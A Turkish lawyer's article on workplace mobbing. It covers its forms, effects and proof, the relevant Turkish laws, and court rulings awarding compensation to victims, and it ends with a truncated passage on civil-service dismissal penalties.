Bazı meslek gruplarında “yıldırma” daha sık görülmektedir. Tayvan’da sağlık çalışanlarında yapılan bir çalışmada “yıldırma” yaygınlığı son bir yıl için %50.9 bulunmuş, sözel ve fiziksel şiddetten daha yüksek oranda görüldüğü belirtilmiştir. Bosna’da yine sağlık çalışanlarında yapılan bir çalışmada bireylerin %76 oranında “yıldırma” davranışlarına maruz kaldıkları bildirilirken, %26’sında bunun ısrarlı ve yineleyici olduğu saptanmıştır. Ayrıca bu durumun ruhsal bozukluk gelişimi ile ilişkili olduğu da belirtilmiştir. Yine ülkemizde hemşirelerde yapılan bir çalışmada son bir yıl içinde “yıldırma” davranışına maruz kalma oranı %86.5 olduğu belirtilmiştir.

Mobbing ile ilgili en önemli çalışmayı 1980’dan itibaren Dr. Heinz Leymann yapmıştır. Sağlık Çalışanlarına ayrıca değinen Leymann’ın “Neden Hemşireler İntihar Ettiler: Sağlık Kurumlarında Mobbing” isminde kitabı vardır. Leymann mobbingi bir işyeri terörizmi olarak görmektedir ve aynı isimde bir kitabı da mevcuttur. Yazımızın başlığı da bu kitaptan alınmıştır.

Mobbingin Toplumsal Sonuçları ve Ülkeye Maliyeti

Sağlık sektöründe şiddete ilişkin Güney Afrika’da yapılan bir çalışma, işyerinde fiziksel şiddetin ve psikolojik taciz teşkil eden davranışların; gerilime, hastalara daha az ilgi gösterilmesine ve genel bir mutsuzluk halinin ortaya çıkmasına neden olduğunu ortaya koymuştur. Benzer sonuçların başka önemli sektörlerde de ortaya çıktığını söylemek mümkündür. Örneğin, eğitim sektöründe öğretmen-öğrenci ilişkisinde gerilim ve stresi artırıcı davranışlar çocukların eğitimden daha az fayda görmesine neden olmaktadır.

Michael H. Harrison’un A.B.D.’de 9.000 kamu çalışanı üzerinde yaptığı araştırmada, kadın çalışanların %42’sinin, erkek çalışanların ise % 15’inin son iki yılda zorbalığa uğradığını, bunun kayıp zaman ve verimlilik açısından 180 milyon dolara mal olduğu anlaşılmaktadır.

Ülkemizde ise Sayıştay’ın araştırmalarına rağmen net bir maliyet belirlenmesi yapılamamıştır.

2011/2 Yılında “İşyerinde Psikolojik Tacizin (Mobbing) Önlenmesi” hakkında Başbakanlık Genelgesi yayınlanmıştır.

Mobbing Türleri

  1. Düşey Psikolojik Taciz: Üst konumda yer alanların astlarına yönelik olarak gerçekleştirdikleri psikolojik taciz vakalarıdır. Üstler sahip oldukları kurumsal gücü, astlarını ezerek, onları kurumun dışına iterek kullanmasıdır.
  2. Yatay Psikolojik Taciz: İşyerinde psikolojik tacizin fail veya failleri mağdur ile benzer görevlerde ve benzer olanaklara sahip, aynı konumdaki iş arkadaşlarıdırlar. Örneğin; eşit koşullar içinde bulunan çalışanların çekememezliği, rekabet, çıkar çatışması, kişisel hoşnutsuzluklar gibi.
  3. Dikey Psikolojik Taciz: Çalışanın yöneticiye psikolojik şiddet uygulamasıdır. Nadir görülen bir durumdur. Örneğin, çalışanların yöneticiyi kabullenememesi, eski yöneticiye duyulan bağlılık, kıskançlık gibi.

Mobbing Sayılan Haller

Konuşurken Sözünün Kesilmesi, Küskünlükler Yok Sayılma, İş Performansının Engellenmesi, Dedikodu Yapılması, Lakap Takılması, Görmezden Gelinme, Yapılan İşin Sabote Edilmesi, Sürekli Suçlanma ve Eleştirilme, Gereksiz Görevler Verilmesi, Uygunsuz Şakalar Yapılması, Statünün Küçümsenmesi, Cinsel Tacize Maruz Bırakılması, Sözlü ya da Yazılı Tehdit, Kaba ve Kötü Sözlerle Rencide, Motivasyon Kırılmaya Çalışılması, İş Performansının Aksi Yönde İşler Verilmesi, Alışılmış Düzenin Bozularak Farklı İşlere Yönlendirilmesi,

Mobbingin Etkileri

  • Mesleki motivasyonun düşmesi
  • Öğrenci, veli ve çalışan personelle iletişim çatışmaları
  • Tükenmişlik duygusu
  • İşe gitmeme isteği
  • Çalışmak konusunda pişmanlık ve hırs gibi çatışan hisler
  • İş ve iş ortamı değiştirme isteği
  • İşle ilgili güvensizlik duyma.

Mobbingin Neden Olduğu Ruhsal Bozukluklar

Sıkıntı, öfke, karamsarlık, uyku sorunları, depresif belirtiler, anksiyete belirtileri, davranış sorunları görülebilir. Depresyon, anksiyete ve davranış sorunlarının birlikte bulunabildiği uyum bozuklukları, depresyon, yaygın anksiyete ve panik bozukluğu gibi anksiyete bozukları, kendini bedensel belirtilerle ifade eden somatoform bozukluklar (somatizasyon, konversiyon, ağrı bozuklukları), ortaya çıkmasında ve seyrinde ruhsal etkenlerin rol oynadığı psikosomatik hastalıklar (cilt hastalıkları, hipertansiyon vs.) görülebilir.

Bunun yanında bir tür kendini iyileştirme çabası olarak, alkol, madde ya da ilaca yönelme olabilir. Madde kullanım bozuklukları gelişebilir. Bireyin fizik bütünlüğünü tehdit eden, onu çaresiz bırakan, dehşet duygusu yaratan yaşantılara bağlı gelişen “Travma Sonrası Stres Bozukluğu” ortaya çıkabilecek en ciddi ruhsal bozukluklardan biridir. İnsan eliyle bilerek oluşturulan travmalar (işkence, tecavüz, savaş travması gibi) sonucu ortaya çıkanlarda süreğenleşme, işlevselliği bozma, yetiyitimi yaratma niteliği çok daha yüksektir. “Mobbing” de insan eliyle bilerek oluşturulan bir travma olarak TTSB için dikkat çekici, çağdaş bir travma biçimi olarak dikkati çekmektedir.

Mobbingin unsurları nelerdir?

Önemle belirtmek gerekirse işyerinde yaşanan tüm sorunlar mobbing olarak nitelendirilmez.

  • Sistemli olarak yapılmalıdır.
  • İşyeri sınırları içinde veya işin devamı boyunca gerçekleşmelidir,
  • Tekrarlanmalı, süreklilik arz etmelidir (Doktrin (Leymann) Mobbing en az 6 aydır sürmeli demektedir)
  • Bilinçli ve kasıtlı olarak yapılmalıdır,
  • İşten ve işyerinden uzaklaştırma, yıldırma, baskı altına alma amacıyla yapılmalıdır,
  • Mağdur işçinin sağlığında ya da çalışma performansında gözlemlenebilir bir zarar ortaya çıkmalıdır,
  • Ayrıca mobbing açıkça yapılabildiği gibi gizli ve üstü kapalı şekilde de yapılabilir.

Mobbingin İspat Sorunu

Mobbing, temelinde psikolojik baskı ve tacizi barındırdığı için ispatı haliyle zor bir konudur. Hiç anlamadığınız işlere yazılı olarak yönlendirilmeniz, isminizin farklı ifşa amaçlarıyla işyeri panolarına asılması gibi hareketler belgelenebilir ihlaller olabilmektedir. Ancak somut olmayan verilerle, bakışlarla, davranışlarla uğradığınız bir baskıyı anlatmanız ve bu konuda mağdur olduğunuzu söylemeniz haliyle sizi çok inandırıcı kılmayabilir. Bu konu doktrinde çokça tartışılmıştır. Bu yüzden Mobbing davaları genelde kıdem tazminatı gibi iş davalarının temelini oluşturan davalar yanında açılmaktadır. Ne yazık ki işinde çalışan birinin yaşadıklarından dolayı Mobbing davası açmasından sonra işyerinde barınması ve çalışmaya devam etmesi çok zor görünmektedir.

Mobbing’e uğradığını ve emarelerin gerçekleştiğini düşünen mağdur, yukarıda da belirttiğimiz gibi bireysel mücadeleyi elden bırakmamalıdır. Bu durumu yaşadığı anları gerekirse not almalı, belgeleyebileceği somut şeyleri kayda almalı, tanık beyanlarıyla bunu destekleyebilmelidir.

Tabi bu anlatılanlar Mobbing’e uğrayan mağduru umutsuzluğa düşürmemeli. Çok eski zamanlardan beri var olan ancak son dönem yüksek yargı kararlarıyla desteklenen ve var olan Mobbing, birçok insanın yaşadığı bir durum olup bireysel ya da kurumsal mücadeleyle düzeltilemediği anda yargı yoluna taşınmalıdır.

Mobbing’in bir de uygulayan veya uyguladığı iddia edilen tarafı vardır. O da şöyledir ki; işyerinde Mobbing uyguladığı için kendisine dava açılan bir işveren de eğer Mobbing uygulamadığını iddia ediyorsa bu konuda o da gerekli doneleri elinde bulundurmalıdır. Mobbing davalarından yarar elde edildiğini, kendisi bilerek ve isteyerek işten çıkmasına rağmen Mobbing altında zorla işten çıkmak zorunda kalmış gibi dava açan bir işçinin Mobbing’e uğradığından söz etmek mümkün gözükmemektedir. Burada kötü niyetli bir tavır söz konusudur. Bu durumda işveren, Mobbing’e uğradığını ve sadece kendisine yönelik bir şeye maruz kaldığını söyleyen işçiye, bu durumun ona özgü değil herkese uygulanan bir sistem olduğunu belgeleyebilirse, yaptığı işleri yazılı ve kaydını tutarak yaparsa, Mobbing’e yönelik durumları bertaraf etmesi muhtemeldir.

Mobbing de ispat sorunu yaşamamak için;

  • Yaşadığınız sorunların ayrı ayrı delil oluşturmaya çalışın
  • Uğradığınız mağduriyeti telefon mesajı, e posta veya işyerine vereceğiniz dilekçeler ile somutlaştırın
  • Tanık olan varsa olayları anlatması için ikna edin
  • Yaşadığınız sorunları iş yeri arkadaşlarınıza anlatın
  • Mağdur eden kişi veya kişilerle işyerinin herkese açık yerlerinde görüşmeye çalışın
  • Psikologa veya psikiyatriste gidiyorsanız, mobbing teşhisi koymasını talep edebilir, kullandığınız ilaçları ve faturaları saklayın.

MOBBİNG İLE HUKUKİ MÜCADELE

Türk Mevzuatında Mobbing

Mobbing Türk yasalarında açıkça zikredilmiş bir olgu değildir, bu yüzden Mobbing, ispatı ve kanıtlanabilirliği zor bir durum olduğu için mevzuatta ilişkili olabilecek hükümleri iyi değerlendirip gerekçeyi de buna göre temellendirmek gerekmektedir. Aşağıda Mobbing’le ilgili olabilecek mevzuatlara dair bir çalışma yapılmıştır.

T.C. Anayasası

Madde 12 – Herkes, kişiliğine bağlı, dokunulmaz, devredilmez, vazgeçilmez temel hak ve hürriyetlere sahiptir.

Madde 17 – Herkes, yaşama, maddî ve manevî varlığını koruma ve geliştirme hakkına sahiptir. Kimseye işkence ve eziyet yapılamaz; kimse insan haysiyetiyle bağdaşmayan bir cezaya veya muameleye tâbi tutulamaz.

Madde 24 – Herkes, vicdan, dinî inanç ve kanaat hürriyetine sahiptir. Kimse, ibadete, dinî âyin ve törenlere katılmaya, dinî inanç ve kanaatlerini açıklamaya zorlanamaz; dinî inanç ve kanaatlerinden dolayı kınanamaz ve suçlanamaz.

Madde 25 – Herkes, düşünce ve kanaat hürriyetine sahiptir. Her ne sebep ve amaçla olursa olsun kimse, düşünce ve kanaatlerini açıklamaya zorlanamaz; düşünce ve kanaatleri sebebiyle kınanamaz ve suçlanamaz.

Madde 48 – Herkes, dilediği alanda çalışma ve sözleşme hürriyetlerine sahiptir.

Madde 49 – Çalışma, herkesin hakkı ve ödevidir. Devlet, çalışanların hayat seviyesini yükseltmek, çalışma hayatını geliştirmek için çalışanları ve işsizleri korumak, çalışmayı desteklemek, işsizliği önlemeye elverişli ekonomik bir ortam yaratmak ve çalışma barışını sağlamak için gerekli tedbirleri alır.

Madde 50 – Kimse, yaşına, cinsiyetine ve gücüne uymayan işlerde çalıştırılamaz. Küçükler ve kadınlar ile bedenî ve ruhî yetersizliği olanlar çalışma şartları bakımından özel olarak korunurlar.

T.C. Anayasası’nın iş yaşamı ve çalışma hayatıyla ilgili bu hükümleri, çalışanların kişiliğini ön planda tutarak, onur, kişilik ve haysiyet kırıcı muamelelere maruz kalmanın kabul edilemeyeceğini, ayrımcılığın kesinkes reddedildiğini göstermesi açısından bizler için önem arz etmektedir.

İş Kanunu (4857 Sayılı)


İş Kanununda mobbing ve benzeri bir suç tanımlaması bulunmamaktadır. Buna rağmen mobbing şartlarının oluştuğu durumlarda olayın özelliğine göre mağdur kişi İş Kanuna göre haklı nedenle fesih hakkını kullanabilir ve tazminata hak kazanabilir. Bunun yanında mobbinge maruz kalıp istifa eden kişi bu durumu ispat ederse yine haklı nedenle feshetmiş sayılarak tazminat haklarından faydalanacaktır. yapan soruşturma geçirip cezalandırılacaktır.

Türk Ceza Kanunu

Türk Ceza Kanununda mobbing ve benzeri bir suç tanımlaması bulunmamaktadır. Buna rağmen mobbing şartlarının oluştuğu durumlarda olayın özelliğine göre mobbing yapan Eziyet, İşkence, Görevi Kötüye Kullanma gibi suçlardan yargılanacaktır.

Madde 81 – Kasten öldürme Madde 86 – Kasten Yaralama Madde 94 – İşkence Madde 96 – Eziyet Madde 102 – Cinsel Saldırı Madde 105 – Cinsel Taciz Madde 257 — Görevi Kötüye Kullanma

Türk Borçlar Kanunu

Madde 417 – İşçinin Kişiliğinin Korunması

İşveren, hizmet ilişkisinde işçinin kişiliğini korumak ve saygı göstermek ve işyerinde dürüstlük İlkelerine uygun bir düzeni sağlamakla, özellikle işçilerin psikolojik ve cinsel tacize uğramamaları ve bu tür tacizlere uğramış olanların daha fazla zarar görmemeleri için gerekli önlemleri almakla yükümlüdür. İşveren, işyerinde iş sağlığı ve güvenliğinin sağlanması için gerekli her türlü önlemi almak, araç ve gereçleri noksansız bulundurmak; işçiler de iş sağlığı ve güvenliği konusunda alınan her türlü önleme uymakla yükümlüdür. İşverenin yukarıdaki hükümler dâhil, kanuna ve sözleşmeye aykırı davranışı nedeniyle işçinin ölümü, vücut bütünlüğünün zedelenmesi veya kişilik haklarının ihlaline bağlı zararların tazmini, sözleşmeye aykırılıktan doğan sorumluluk hükümlerine tabidir.

Türk Borçlar Kanunu’nun ilgili hükümlerinde de işçinin kişiliğinin korunmasına yönelik hükümler vardır. İş kanunu kapsamına girmeyen iş sözleşmelerinde Türk Borçlar Kanunu uygulanacağından bu doğrultuda düzenlemeyle iş yaşamının diğer alanlarında da ihlallerin önüne geçilmeye çalışılmıştır. Tazminat Hukuku açısından önem arz etmektedir.

Türk Medeni Kanunu

Madde 24 – Hukuka aykırı olarak kişilik hakkına saldırılan kimse, hâkimden, saldırıda bulunanlara karşı korunmasını isteyebilir. Kişilik hakkı zedelenen kimsenin rızası, daha üstün nitelikte özel veya kamusal yarar ya da kanunun verdiği yetkinin kullanılması sebeplerinden biriyle haklı kılınmadıkça, kişilik haklarına yapılan her saldırı hukuka aykırıdır. Mobbing temelde bir kişilik hakkı ihlalini doğurmaktadır. Psikolojik tacize uğrayan kişinin, kişilik hakkı ihlali gündeme gelmektedir. Medeni kanunun ilgili hükmü kişilik hakkı saldırıya uğrayan kişileri korumaya yöneliktir.

Devlet Memurları Kanunu

Devlet Memurları Kanununda mobbing ve benzeri bir suç tanımlaması bulunmamaktadır. Buna rağmen mobbing şartlarının oluştuğu durumlarda olayın özelliğine göre mobbing yapan Disiplin Cezalarından (Uyarma, Kınama, Aylıktan Kesme, Kademe İlerlemesinin Durdurulması, Meslekten Çıkarma) soruşturma geçirip cezalandırılacaktır.

MOBBİNG MAĞDURUNUN BAŞVURACAĞI HUKUKİ YOLLAR

1)Maddi ve Manevi Tazminat

Mobbinge maruz kalan kişi Hukuk Mahkemelerinde tazminat davaları açabilir. Söz konusu davada kişi mobbingin yanında maddi kayıplarını da ispat etmek zorundadır. Mobbingin ispatı durumunda manevi bir zararında olduğu ispat edilmiş olacaktır.

2)Adli Mercilere Suç Duyurusunda Bulunmak

Mobbinge maruz kalan kişi Cumhuriyet Savcılık makamı aracılığı ile mobbing uygulayanan cezai anlamda yargılanması adına suç duyurusunda bulunabilir. İspat edilmesi durumunda Ceza Mahkemelerinde mobbing uygulayan yargılanıp cezalandırılacaktır.

3)İşçilik Hakları ile İlgili Talepler

Mobbinge uğramış olması nedeni ile işçilik tazminatlarından bir şekilde mahrum olan klişi İş Mahkemelerine açacağı bir dava ile hak talep edebilir.

4)İdareye Başvuru

Mobbinge uğrayan kamu görevlisi kurumuna vereceği bir dilekçe/şikayet ile mobbing uygulayanın idari açıdan disiplin cezası almasını sağlayabilir. Psikolojik taciz mağduru bir kamu görevlisi, çalıştığı kamu kurum veya kuruluşunda, yaptığı şikayet başvurularına rağmen hiçbir sonuç alamamışsa, idare tarafından psikolojik tacizin önlenmesi yönünde hiçbir tedbir alınmamışsa, konuyu Türkiye İnsan Hakları Kurumu’na veya şu anda Kurum bürosu olarak görev yapan il ve ilçe insan hakları kurullarına taşıyabilir.

ANAYASA MAHKEMESİ , DANIŞTAY VE YARGITAY KARARLARI

Anayasama Mahkemesinin 26 Eylül 2018 tarihli ve 30457 sayılı Resmi Gazete’de yayımlanan kararında ” başvurucunun maruz kaldığı eylemlerin yaşamına etkisi açısından çekilmez bir ağırlık ve yoğunluk derecesine ulaşmasına rağmen psikolojik taciz (mobbing) mahiyetindeki davranışların oluşmaması için kamusal makamlar tarafından etkili önlemler alınmaması ve başvurucunun uğradığı zararların giderilmemesi sebebiyle kişinin maddi ve manevi varlığını koruma ve geliştirme hakkı kapsamında kamusal makamlarca üstlenilmesi gereken pozitif yükümlülüklerin yerine getirilmediği kanaatine varılmış olup, yeniden yargılama yapılmasında hukuki yarar olduğuna karar vermiştir.”Başvurucu görev yaptığı kamu kurumu içerisinde huzurun sağlanması ile ilgili olarak öncelikle kurum müdürü tarafından yazılı olarak uyarılmıştır.” denilmektedir.

ANAYASA MAHKEMESİNİN 19/7/2018 TARİHLİ VE 2014/7998 SAYILI KARARINDA
“Olayda … davalı idarece davacıya karşı hasmane bir tutum izlendiği, nesnellik ilkesinden uzaklaşılarak keyfi muameleye tabi tutulmasına yol açıldığı sonucuna varılmakla yaşamış olduğu derin üzüntünün karşılığı olacak ve idarenin olaydaki kusurunun niteliğini ve ağırlığını ifade edecek ölçüde mahkemece takdir edilecek miktarın ilgililerine rücu edilmek kaydıyla, yasal faiziyle, manevi tazminat olarak davacıya ödenmesine karar verilmesi gerekirken aksi yönde hüküm kurulmasında hukuki isabet görülmemiştir…”

Ankara 7. İdare mahkemesi’nin 2007/875 E. 2008/2297 K. Sayılı dosyasında ilk defa mobbingin (İşyerinde Psikolojik Taciz) karşı oy olarak yer aldığını belirtmiş ve “davacının sürekli hak arama araması ve girişimi içerisine sokulduðu ve bu yolda ölçüsüz bir güvensizlik hissinin yaratıldığı görülmekle” mobbing iddiasının hukuki gerekçelerinin oluştuğu kanısına varılmıştır” şeklinde belirtmiştir.

Sakarya 1’inci İdare Mahkemesi’nce verilen 17.01.2011 tarihli Karar da (E.2010/474, K.2011/187), hukuka aykırı olarak sırf memuru bezdirmek amacıyla, memur hakkında disiplin soruşturmaları açarak ve disiplin cezaları vererek psikolojik tacizde bulunulabileceğini ortaya koymaktadır. Söz konusu Karar’da, bir devlet hastanesinde başhemşire olarak çalışan davacı hakkında altı ayrı disiplin soruşturması açılması, soruşturmalar sonucunda dört kez disiplin cezasına hükmedilmesi, ayrıca davacının geçici görevlendirme ile başka bir hastanede görevlendirilmesi işlemlerinin davacının kişilik hakkının ve manevi bütünlüğün ihlali anlamına geldiğine karar verilmiş ve idare tarafından manevi tazminat ödenmesine hükmedilmiştir.

Danıştay 5. Dairesinin E.1997/2711, K.1998/270, 09.02.1998 sayılı kararında “657 sayılı Devlet Memurları Kanunu’nda aynı kurum içinde geçici görevlendirme konusu düzenlenmemiş olmakla birlikte, bir kamu kurumunun mevzuatla belirlenmiş olan görev alanı içinde yer alan “geçici” nitelikteki bir hizmeti yada, değişen ve gelişen sosyal, ekonomik ve kültürel koşulların sonucu olarak ortaya çıkan, henüz örgütsel altyapısı oluşturulmamış ve bir kadro ile ilgilendirilmemiş olan “yeni bir kamu hizmetini” yürütmek amacı ile durumu uygun olan kamu görevlilerinin, “kadroları ile hukuki bağlarını sürdürmek ve belli bir süre ile sınırlı olmak üzere” atamaya yetkili amir tarafından geçici olarak görevlendirilmeleri olanaklıdır. Bu işlemin kurulmasında, yukarıda nitelendirilen kamu hizmetlerinin yürütülmesi amaç edinilmeli: kamu yararı ile bağdaşmayan, örneğin kamu görevlisini görevinden fiilen uzaklaştırmak veya onu cezalandırmak gibi hizmet gereklerine ters düşen bir sonuç amaçlanmamalıdır” denilmektedir.

Danıştay 8. Dairesinin , E.2008/10606, K.2012/1736, 16.04.2012 kararında; “Mobbing” kavramının açıkça kullanmış, bir öğretim üyesine üç ayrı disiplin cezası verilmesi ve bu cezaların yargı kararı ile iptal edilmesi üzerine, bu işlemler ile göreve yargı kararı ile atandığı tarihten itibaren kendisine karşı yürütülen taciz (mobbing), bıktırma ve yıldırmaya yönelik eylem ve işlemler, öğretim üyesinin manevi yapısını olumsuz olarak etkileyecek ağırlıkta bulunduğundan, idarenin hukuka aykırı eylem ve işlemleri nedeniyle üzüntü ve sıkıntı yaşayan öğretim üyesine manevi tazminat ödenmesine ilişkin ilk derece mahkemesinin kararı onanarak temyiz istemi reddedilmiştir.

MOBBİNG’E MARUZ KALMAK İŞYERİNİ TERK ETMEK İÇİN HAKLI BİR NEDENDİR

Yargıtay 9. Hukuk Dairesi 18.03.2010 gün, 2008/22535 E., 2010/7225 sayılı kararı ile Mobbing’e maruz kalarak işyerini terk etmenin haklı bir neden olacağına hükmetti.

“…Davacı, davalı yanında üretim müdürü olarak çalıştığını, işyerinde son zamanlarda davacıyı dışlayan davranışlar olduğunu, en son prim alacağını istediğinde hakarete uğrayarak iş sözleşmesini feshe zorlandığını belirterek kıdem, ihbar tazminatı ve bazı işçilik alacakları iş isteğinde bulunmuştur. Davalı davacının birkaç dönem halinde çalışıp son dönemde kendinin istifa ederek ayrıldığını savunmuştur. Davacının davalı işyerinde uzun süredir müdür statüsünde çalıştığı, son dönemlerde işyerinde yeniden yapılanma olup yerine yeni bir mühendisin istihdam edilerek yetkilerinin elinden alındığı bu şekilde huzursuz edildiği, işverence psikolojik tacize maruz kaldığı (Mobbing) tanık beyanlarından anlaşılmaktadır. Bu durumda davacının işyerini terk etmesi haklı nedene dayanmaktadır. Mahkemece ibranameye değer verilmediği ve davalı tarafından da hükmün gerekçesi temyiz edilmediğine göre davacının kıdem tazminatına hükmedilmesi gerekirken yazılı şekilde reddi hatalı olup bozulmasına karar verilmiştir”

İŞÇİNİN İŞYERİNDE HUZURSUZ EDİLDİĞİ VE MOBBİNGE UĞRAMASI KIDEM TAZMİNATINI ALMA İSTEĞİNDE DİKKATE ALINMALIDIR

Yargıtay 9. Hukuk Dairesi 14.03.2008 gün, 2008/3122 E., 2008/4922 sayılı kararı ile tanık ve çeşitli ispat yollarıyla belirli olan, işyerinde Mobbing’e uğradığı için istifa eden davacının kıdem tazminatı almasında haklılığına hükmetti.

“…Davacı işçi, davalı vekili tarafından darp edildiği, rapor aldığı ve bu nedenle iş sözleşmesini haklı olarak feshettiğinden söz edilerek kıdem tazminatı isteminde bulunmuştur. Davalı taraf davacının istifa ederek ayrıldığını ileri sürerek davanın reddini savunmuştur. Mahkemece ilk kararda 4857 sayılı İş Kanununun 26.maddesinde belirtilen altı iş günlük sürenin geçirildiği belirtilmiş dava reddolunmuştur. Dairemizce anılan karar rapor tarihinden sonra işçinin huzursuz edilip edilmediği araştırılması gerekçesiyle bozulmuştur. İşçinin anlattığı Mobbing teşkil eden olayların tutarlık teşkil etmesi, kuvvetli bir emarenin bulunması gerekmektedir. Kişilik hakları ve sağlığın ağır saldırıya uğraması Mobbingin varlığını tartışmasız kabulünü doğurur. Somut olayda davacı işçi dövülmüş, rapor sonrası işe geldiğinde huzursuz edilmiştir. Davacının dövülmesinden sonra işyerinde huzursuz edildiği, davacı tanığı ve olayların tipik akışı göstermektedir. İşçi psikolojik taciz sonucunda istifa etmiştir. Bu konuda yeterli emare bulunmaktadır. Kıdem tazminatının hüküm altına alınması gerekirken reddi bozmayı gerektirmiştir…”

MOBBİNG YOLU İLE İŞ SÖZLEŞMESİNİ FESHEDEN İŞÇİ KIDEM TAZMİNATINA HAK KAZANIR

Yargıtay 9. Hukuk Dairesi 01.04.2011 gün, 2009/8046 E., 2011/9717 sayılı kararı ile Mobbing yolu ile iş sözleşmesini fesheden işçi kıdem tazminatına hak kazanacağına hükmetti.

“…Davacı işçi 07.09.2005 günlü dilekçe ile davalı işyerinden ayrıldığını bildirmiş ve 30.09.2005 tarihli ibraname ile kanuni hak ve alacaklarını aldığını belirterek işvereni ibra etmiştir. Davacının işyerinden ayrılmasından sonra davacı ile davalı işveren yetkilileri arasında davacı işçinin işyerinden ayrılma nedenlerini analiz etmek için hazırlanan 03.10.2005 tarihli işten ayrılış formunda davacı, davalı işyerinden ayrılma nedeni olarak sağlık nedeni ile istifa ve çalışma ortamına uyumsuzluk olarak belirtmiş yine aynı belgenin arka kısmına “ortamdaki aşırı huzursuzluk ve dolayısıyla sağlığımın bozulması nedeniyle işyerinden ayrılmak zorunda kaldım.” ibaresi yazılmıştır.

Temyiz dilekçesi ekinde davacı tarafından dosyaya sunulan 22.08.2005 tarihli doktor raporunda 22.08.2005 tarihinde muayene edildiği hipoglisemi ve hipotansiyon teşhisi konulduğu ve 3 gün istirahat verildiği anlaşılmaktadır.

Mahkemece dinlenen davacı tanığı davacının amiri konumundaki işyeri çalışanı A’nın davacıya zaman zaman bağırdığını, davacının işyerinde bayılması üzerine hastaneye götürülmesine karşı çıktığını beyan etmiştir.

İşten ayrılma belgesi, doktor raporu ve davacı tanığının beyanlarından işyerinde davacı üzerinde psikolojik baskı (Mobbing) oluşturulduğu, davacının işten çıkış belgesinde bu yönde beyanının alındığı anlaşılmaktadır. Davacının istifa dilekçesinin gerçek istifa iradesi ile imzalanmadığı psikolojik baskı (Mobbing) yolu ile istifaya zorlandığı anlaşılmaktadır. Davacı işçinin iş sözleşmesini feshi haklı olup dava konusu kıdem tazminatı isteğinin kabulü yerine yazılı şekilde reddi hatalı olmuştur.

Temyiz olunan kararın yukarıda yazılı sebepten BOZULMASINA, karar verilmiştir…”

KANITLANABİLEN MOBBİNG, MANEVİ TAZMİNAT İSTEME HAKKINI DOĞURUR

Yargıtay 9. Hukuk Dairesi 30.05.2008 gün, 2007/9154 E., 2008/13307 sayılı kararı ile kanıtlanabilen ve delillerle açıkça yapıldığı görülen Mobbing’in, manevi tazminat isteme hakkını doğuracağına hükmetti.

“…İşveren kişisel nedenlerle davacı işçinin yanında çalışmasını istememekte olup, kendisinden bir yıl içinde 5 kez yazılı savunma talep etmiştir. İşveren işçisini gözetme yükümlülüğüne uymayarak davacıyı iş arkadaşları önünde sürekli olarak küçük düşürmüş, bağırmış ve işleri beceremediğini ifade etmiştir. Davacı mesai sonrası ağlama krizleri geçirmiş, psikolojik tedavi görmüştür. Mobbing kavramı, işyerinde bireylere üstleri, eşit düzeyde çalışanlar ya da astları tarafından sistematik biçimde uygulanan her tür kötü muamele, tehdit, şiddet, aşağılama gibi davranışları içermektedir. Dosyadaki yazılara, kararın dayandığı delillerle kanuni gerektirici sebeplere ve özellikle delillerin takdirinde bir isabetsizlik görülmemesine göre, yerinde bulunmayan bütün temyiz itirazlarının reddi ile usul ve kanuna uygun olan hükmün ONANMASINA karar verildi…”

ÇALIŞANIN GÖREV YERİNİN SIK SIK DEĞİŞTİRİLİP KARİYERİ İLE İLGİSİ OLMAYAN İŞLER VERİLMESİ MOBBİNGTİR.

“Somut olayda dosya içeriği ve tanık beyanları birlikte değerlendirildiğinde bilgisayar operatörü olarak çalıştığı anlaşılan davacının sık sık görev yerinin değiştirildiği davacının en son, görevi ve daha önce yaptığı iş ile ilgisi olmayan ameliyathane kapısında kariyeri ile çelişen bir işe verildiği, davacı tanıklarının ifadesi ile de bu değişiklileri davacının istifa etmesi amacıyla yapıldığı anlaşılmaktadır. Bu şekildeki uygulamalar yukarıda açılandığı üzere literatürde mobbing olarak adlandırılmaktadır.Davacıya yapılan tüm eylemler değerlendirildiğinde davacının psikolojik taciz-mobbinge maruz kaldığı açık olduğu halde kıdem tazminatı isteminin kabulü yerine reddi hatalı olup bozma nedenidir. “

Yargıtay Hukuk Genel Kurulu Esas No:2012/1925 Karar No:2013/1407; “Davacı işçi, 11.01.1993-31.10.2007 tarihleri arasında …bank T.A.Ş hukuk bölümü ( …Bankası A.Ş Risk Tasfiye ve Tahsil- 1/2 daire başkanlığı)’nda belirsiz süreli hizmet sözleşmesi ile avukat olarak çalıştığını, uzunca bir süre psikolojik tacize (mobbing) uğradığını, beyanla davalarının kabulüyle 30.000,00TL manevi tazminatın ve 06.05.2009 havale tarihli dilekçesinde açıklamasını yaptığı 10.000,00TL maddi tazminatın davalıdan tahsiline karar verilmesini talep ve dava etmiştir… Şu durumda, psikolojik taciz olgusunun somut olayda gerçekleştiğinin kabulü ile davacı yararına uygun bir miktar manevi tazminata hükmedilmesi gerekmektedir.”

AV. OSMAN YILDIZ

ANKARA BAROSU-26974

DEVLET MEMURLUĞUNDAN ÇIKARMA CEZASI (İHRAÇ)

Devlet memurluğundan çıkarma ne demektir ?

657 Sayılı Devlet Memurları Kanununda düzenlenmiş bir disiplin cezası türü olan Devlet Memurluğundan Çıkarma Cezası bir daha Devlet Memurluğuna atanmamak üzere memurluktan çıkartılmadır. (125. Madde)

Meslekten çıkarma cezası (657 Sayılı DMK) tüm devlet memurlarını ilgilendirir mi?

657 Sayılı Devlet Memurları Kanunu kural olarak tüm Devlet Memurlarına uygulanmakta birlikte; Emniyet, Diyanet ve Askeri Personellere kendi kanunlarındaki hükümler uygulanmaktadır.

Yine Sözleşmeli Personeller “memur” olarak nitelendirilmediği için Sözleşmeli Personel Çalıştırılmasına Daire Esaslar ve Sözleşmelerindeki hükümlere göre işlem görmektedir.

Hangi Durumlarda Meslekten Çıkarma Cezası Verilir ?

657 Sayılı Devlet Memurları Kanunun 125/1 – E bendinde sınırlı olarak sayılan hallerde meslekten çıkarma cezası verilir. Bunlar;

a) İdeolojik veya siyasi amaçlarla kurumların huzur, sükün ve çalışma düzenini bozmak, boykot, işgal, kamu hizmetlerinin yürütülmesini engelleme, işi yavaşlatma ve grev gibi eylemlere katılmak veya bu amaçlarla toplu olarak göreve gelmemek, bunları tahrik ve teşvik etmek veya yardımda bulunmak,

b) Yasaklanmış her türlü yayını veya siyasi veya ideolojik amaçlı bildiri, afiş, pankart, bant ve benzerlerini basmak, çoğaltmak, dağıtmak veya bunları kurumların herhangi bir yerine asmak veya teşhir etmek,

c) Siyasi partiye girmek,

d) Özürsüz olarak (…)(2) bir yılda toplam 20 gün göreve gelmemek,

